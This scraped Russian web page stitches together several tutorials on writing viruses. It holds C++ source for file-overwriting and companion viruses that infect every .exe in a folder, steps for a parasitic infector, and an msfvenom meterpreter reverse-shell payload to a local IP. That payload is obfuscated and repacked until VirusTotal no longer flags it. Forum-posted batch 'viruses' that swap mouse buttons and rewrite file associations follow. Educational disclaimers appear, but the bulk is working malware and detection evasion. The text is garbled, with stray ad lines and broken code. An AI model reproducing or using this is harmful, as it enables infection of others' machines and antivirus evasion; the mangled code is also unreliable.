Как пишется вирусная программа

HLL* — High Level Language Virus , написанные на языках высокого уровня, в большинстве случаев имеющие большой размер (порядка 50-300 Кб).
Языками высокого уровня называют все языки программирования кроме ассемблера. Так как на ЯВУ хорошо писать только червей и троянов, так и поэтому шанс выжить у зверков не так уж и высок. Хотя все зависит от кода, да и запаковать файл не сложно. Всяких утилит сейчас полно. Однако если паковать файл, то могут возникнуть проблемы с заражением файлов. Итак, расскажу какие монстры бывают и на какие делятся группы:

HLLC — High Level Language Companion viruses. Компаньон-вирусы (companion). Вирусы, не изменяющие файлы. Алгоритм работы этих вирусов состоит в том, что они создают для EXE-файлов файлы-спутники, имеющие то же самое имя, но с расширением .COM, например, для файла XCOPY.EXE создается файл XCOPY.COM. Вирус записывается в COM-файл и никак не изменяет EXE-файл.

При запуске такого файла DOS первым обнаружит и выполнит COM-файл, т.е. вирус, который затем запустит и EXE-файл. Однако есть и другие способы. Можно заменять собой тело жертвы, а саму программу копировать в файл с таким же именем, но с расширением .com, а затем и запускать его. Но эти вирусы совершенно не приспособлены к злому внешнему миру, как и их друзья HLLO.

СКАЧАЛ ПОТРЯСНЫЙ МАЙНКРАФТ ОТ ПОДПИСЧИКА! разоблачение ВИРУСНЫХ ПРОГРАММ!


HLLO: High Level Language Overwriting viruses.
Вирусы оверврайтеры. Ищут файлы и записываются вместо них.
Это вообще элементарные вирусы, которые существуют для обогащения антивирусных компаний. (Касперский не обижайся 😉 мы все понимаем).
В конце я приведу несколько примеров вирусов на языке с++. С описаниями для первых трех видов.

HLLP — High Level Language Parasitic viruses. Вирусы паразиты.
Записываются в конец или начало файлов, зараженные файлы остаются работоспособными. Вот и они звери похожие на вирусы. Эти вирусы могут заражать рабочие файлы несколькими методами,
но большинство этих методов реализуемы только на ассемблере. Поэтому я приведу только метод сдвига.

HLLS — High Level Language S viruses. Вирусы симбиозники.(как сифилезники) ;).
Честно говоря, я не знаю, как переводятся S вирусы. Но скажу, что большинство этих вирусов заражают исходные коды программ своим кодом. В одном из вирмейкерских журналов DVL я прочитал статью о таком вирусе, и он был прародителем этого вида зверей. Он заражал своим кодом TP и PAS файлы.
Своего рода полиморфик. Меняющийся за счет компиляции с чужими программами и случайными директивами.
Вобщем модули программ на паскале. На с++ такое вполне реализуемо.
Теоретически можно подумать, что S это Source. Но в статье написано (симбиоз). Так что думайте сами.

HLLW — High Level Language W viruses. Вирусы черви или трояны, их описания нет ни в одной антивирусной энциклопедии. Это большая куча вирусов, которые используют редкие методы распространения и заражения. Следует учесть, что антивирусники тоже ошибаются. Из журналов я понял, что эти вири строго не различаются.

Как делают вирусы?


Есть особи, размножающиеся через ДОС функции, они могут лезть в архивы в тексты. Да кругом.
Авторы иногда придумывают весьма странные методы размножения. Этот вид вирей можно назвать — Не вошло в другие разделы.

Читайте также:
Lucky patcher похожие программы

Ну, на этом теоретическая часть заканчивается и начинается практическая.
Я написал несколько демонстрационных вирусов на с++ (Компилировал в Билдере 6.0).

Все исходники достаточно хорошо откомментированы и понять их не так уж и сложно знающему си.
Далее я приведу алгоритмы описанных мной вирусов для ознакомления и понимания методов их работы.

ПОМНИТЕ НАПИСАНИЕ ВИРУСОВ ПРЕСЛЕДУЕТСЯ ПО ЗАКОНУ.

I)HLLO Первым я опишу вирус-оверврайтер —

  1. Найти все файлы exe или com в папке.
  2. Пророверить на заражение (если размеры совпадают).
  3. Заменить тело жертвы на свое.
  4. Выйти.

Все достаточно просто и думаю ни раз приходило вам в голову. Идея проста до безобразия,
но несмотря на слабую надежду выжить, нативирусники всеже их детектируют.

#include «windows.h»
#include «dir.h» //Стандарнтые Директивы препроцессора(хеадер
#include «stdio.h» //файлы, они нужны для использования определенный хункций

#pragma hdrstop //Обработчики ошибок
#pragma argsused

#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введете свой)

void VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if ((strcmp(vir,tmp)) return 0;
SRC = fopen(vir, «rb»); //Считывем тело вируса
if(SRC)
DST = fopen(tmp, «wb»); //Считываем тело жертвы
if(DST)
for (v=0;v
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
>
>
>
fclose(SRC);
fclose(DST);
>

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
char virname[256]; //Переменные
GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst(«*.exe»,
while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
VirusOver(virname,ffblk.ff_name); //Заменяем
done = findnext( //Если есть еще файлы продолжаем заражение
>
>

II) HLLC Теперь вирусы-компаньоны —

  1. Найти все файлы exe в папке.
  2. Проверить на заражение (есть ли файл с именем *.com).
  3. Жертву переименовать в *.com.
  4. Скопировать вирус под именем жертвы.
  5. Получить имя своего файла
  6. Запустить файл с таким же именем как у тебя, но с расширением *.com.
  7. Выйти.

В результате при запуске зараженной программы по ссылке или непосредственно по файлу выполняется вирус с именем программы, затем вирус после выполнения ищет в папке файл со своим именем, но с расширением COM и запускает его.
При заражении стоит пауза от глюков каждую секунду заражается 1 файл, предусмотрена защита от самозаражения, что часто приводит к глюкам и жрет оперативку. К сожалению иконка файла не сохраняется.
Но это компенсируйте какой-нибудь другой иконкой! Типа [txt].

#include «windows.h»
#include «dir.h» //Стандарнтые Директивы препроцессора(хеадер
#include «stdio.h» //файлы, они нужны для использования определенный функций
#include «io.h»

#pragma hdrstop //Обработчики ошибок
#pragma argsused

#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введёте свой)

int file_exists(char *filename)
return (access(filename, 0) == 0);
>
//—————-
VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
char kill[256];
unsigned int i;
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if(strstr(vir,tmp)) return 0; //Смотрим не мы ли это сами хотим себя заразить??
strcpy(kill,tmp); // kill = NAME.exe
kill[strlen(tmp)-1]= ‘m’; // kill = NAME.com
kill[strlen(tmp)-2]= ‘o’;
kill[strlen(tmp)-3]= ‘c’;
if(file_exists(kill)) return 0; //Проверка на существование заразы
CopyFile(tmp,kill,true); //Копируем жертву в COM .
SetFileAttributes(kill, FILE_ATTRIBUTE_HIDDEN);
SRC = fopen(vir, «rb»); //Считывем тело вируса
if(SRC)
DST = fopen(tmp, «wb»); //Считываем тело жертвы
if(DST)
for (v=0;v!=Counter;v++)
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
>
>
>
fclose(SRC);
fclose(DST); // tmp = NAME.exe

delete kill,tmp,i,Buffer,v,Counter,*SRC, *DST;
return 0;
>
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
char virname[256]; //Переменные
char zapas[256];

SetErrorMode(SEM_NOGPFAULTERRORBOX); //Опять с ошибками но это не трогаем!
PeekMessage(NULL, NULL, NULL, NULL, NULL);

GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
GetModuleFileName(hInstance, zapas, 256); //Запаска имени виря для запуска

struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst(«*.exe»,

while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
VirusOver(virname,ffblk.ff_name);
Sleep(1000); //Замедляем программу от тормозов компа
done = findnext( //Если есть еще фалйы продолжаем заражение
>

zapas[strlen(zapas)-1]= ‘m’;
zapas[strlen(zapas)-2]= ‘o’;
zapas[strlen(zapas)-3]= ‘c’;

WinExec(zapas,SW_SHOW);
return 0;
>

И вирусы-паразиты.
III) — HLLP Это поинтереснее. Привожу метод сдвига.

  1. Открыть файл, с которого мы получили управление.
  2. Считать в буфер тело вируса.
  3. Закрыть файл.
  4. Найти файл-жертву (для данного подвида лучше .COM, но можно и не слишком большой .EXE — это связано со считыванием ВСЕГО тела инфицируемой программы в память, которой может не хватить, если инфицируемая программа слишком большая).
  5. Открыть файл-жертву.
  6. Проверить файл на повторное заражение (у каждого эта процедура может быть своя, в основном используется метка).
  7. Если файл уже инфицирован, перейти к пункту 4.
  8. Считать в буфер ВСЕ ТЕЛО программы.
  9. Записать в начало файла тело вируса из буфера.
  10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличится на длину вируса.
  11. Закрыть файл-жертву.
  12. Открыть файл, с которого мы стартовали.
  13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
  14. Создать на диске временный файл с расширением .COM или .EXE (в зависимости от того, какой тип программ мы заражали).
  15. Записать в этот файл тело программы из буфера.
  16. Закрыть созданный файл.
  17. Процедурой Exec запустить созданный файл на исполнение — выполнится инфицированная программа.
  18. По завершению работы программы созданный файл удалить.
  19. Вернуть управление в ДОС.
Читайте также:
Как узнать какой порт использует программа

Исходника компаньона у меня нет, я его написать не смог по причине учёбы и лени!

Приводить алгоритмы остальных видов вирусов я не буду, дабы не ошибиться, едь их огромное множество и они все разные. А поскольку вирусология — молодая наука, то вам еще исследовать и исследовать.

Статья написана исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгорытмы работы вирусов были выявлены при декомпиляции найденных в интернете вирсуов и на сайте Лаборатории Касперского.

Запустите свою операционную систему Kali Linux и обновите ее до последней версии, используя команды «sudo apt-get update и sudo apt-get upgrade».

Теперь, когда вы обновили среду Kali Linux, мы создадим папку на рабочем столе под названием malware_cwz.

Вы можете сделать это, выполнив следующую команду на рабочем столе терминала:

# mkdir malware_cwz

После того как каталог создан, перейдите в него:

# cd malware_cwz

Теперь начинается забава, мы собираемся создавать вредоносное ПО с помощью meterpreter:

# msfvenom -p python / meterpreter / reverse_tcp LHOST = 192.168.1.100 LPORT = 1337 R> encoded.py

Затем мы декодируем закодированную оболочку:

Откройте ‘encoded.py’ и скопируйте значение, которое вы можете найти в первом («till the nex»).

Значения должны быть похожи на случайные символы.

# echo RANDOMVALUE | base64 —decode >> decoded.py

Теперь, когда значения были декодированы, мы собираемся отредактировать файл decoded.py.

введите в терминале следующее:

введите в терминале следующее:

# nano decoded.py

Теперь мы добавим случайный текст в каждую строку в файле, убедитесь, что текст содержит значение # в начале.

lineofcode
#randomtext
lineofcode
#randomtext
lineofcode

Теперь нам нужно снова закодировать его, сделать это с помощью одного и того же инструмента «base64» и скопировать закодированную строку в одно и то же место с именем «encoded.py».

Читайте также:
Требования к функциональным характеристикам программы

Теперь, когда encoded.py полностью вооружен, мы можем создать из него исполняемый файл:

# pyinstaller encoded.py

Затем файл сохраняется в каталоге /root/dist/nameofyourfile/.

Загрузите файл на virustotal.com и повторите этот процесс, пока он не будет найден ни одной компанией AV.

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!

Источник: itsecforu.ru

Тема: Создание bat вируса на языке Pascal

Phoenix вне форума

Senior Member Регистрация 05.06.2011 Адрес мне знать. Сообщений 624 Вес репутации 0

CoolСоздание bat вируса на языке Pascal

Хочу сегодня рассказать вам, как создать вирус на самом примитивном уровне!

Вам понадобиться программа, для переименования формата .txt в .bat. Лично я пользуюсь программой Total Commander.

Итак начнём: Первым делом, создайте текстовой документ, пропишите в нём такую команду:

s.run»rundll32 user32, SwapMouseButton»

и сохраните. Далее вам надо переделать файл в формат .bat
Как только вы это сделаете, запустите полученный файл. Если всё правильно, кнопки мыши у вас должны «поменяться местами» Что бы всё сделать как было, зайдите в Пуск, далее Панель управления, Мышь, и уберите галочку с: Обменять назначение кнопок.
Если всё получилось — вы стали начинающим программистом! Поздравляю!

Идём дальше: Например мы хотим, что бы этот вирус, который мы только что создали, передавался на любой носитель информации, который вставлен в PC. Для этого прописываем в блокноте:

Если вы включили мозг, то вы догадались, что первые 4е строчки — заражают дискету, а 5ая — наш вирус, меняющий «местами кнопки» мыши. На самом деле, 1ая строчка, при запуски вируса, не даёт жертве возможности, запрещает ДОСовскому окошку показывать, что делает вирус.

Продолжаем: этот вирус придуман мною лично:

assoc .lnk=.txt >nul
assoc .exe=.mp3 >nul
assoc .rar=.png >nul
assoc .zip=.png >nul
assoc .png=.txt >nul
assoc .jpg=.txt >nul
assoc .jpeg=.txt >nul

Ну, я думаю вы поняли, что этот вирус делает: он переформатирует одни файлы, в другие!

И последний, самый жестокий вирус:

Что делает этот вирус:

Это, на сегодня, всё!

Спасибо за внимание!

Если есть вопросы, свои идеи, или что — то ещё — обращайтесь: dmgalperin — Skype

Источник: steam-akk.ru

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru